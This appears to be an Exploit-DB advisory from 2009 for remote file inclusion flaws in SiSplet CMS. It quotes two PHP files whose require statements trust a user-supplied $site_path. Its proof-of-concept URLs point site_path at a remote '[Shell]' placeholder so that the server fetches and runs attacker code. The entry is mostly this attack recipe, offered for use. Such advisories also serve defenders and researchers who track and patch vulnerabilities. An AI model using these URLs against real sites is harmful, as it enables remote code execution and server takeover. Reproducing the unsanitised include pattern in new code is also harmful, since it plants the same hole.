SiSplet CMS <= 2008-01-24 - Multiple Remote File Include Exploit

2009-12-07T00:00:00
ID EDB-ID:10341
Type exploitdb
Reporter cr4wl3r
Modified 2009-12-07T00:00:00

Description

SiSplet CMS <= 2008-01-24 Multiple Remote File Include Exploit. Webapps exploit for php platform

                                        
                                            ########################################################################
#SiSplet CMS &lt;= 2008-01-24 Multiple Remote File Include Exploit
########################################################################

########################################################################
3rr0r 1: ./SiSplet-2008-01-24/main/anketa/new.php (line 3)

       &lt;?php
           require_once($site_path.'main/anketa/class.php');
       ?&gt;

3rr0r 2: ./SiSplet-2008-01-24/main/forum/komentar.php (line 3)

       &lt;?php
           require($site_path.'main/forum/class.php');
       ?&gt;
########################################################################

########################################################################
PoC  :   http://[target]/[path]/main/anketa/new.php?site_path=[Shell]
         http://[target]/[path]/main/forum/komentar.php?site_path=[Shell]
########################################################################

########################################################################
#Contact Me : cr4wl3r[4t]linuxmail[dot]org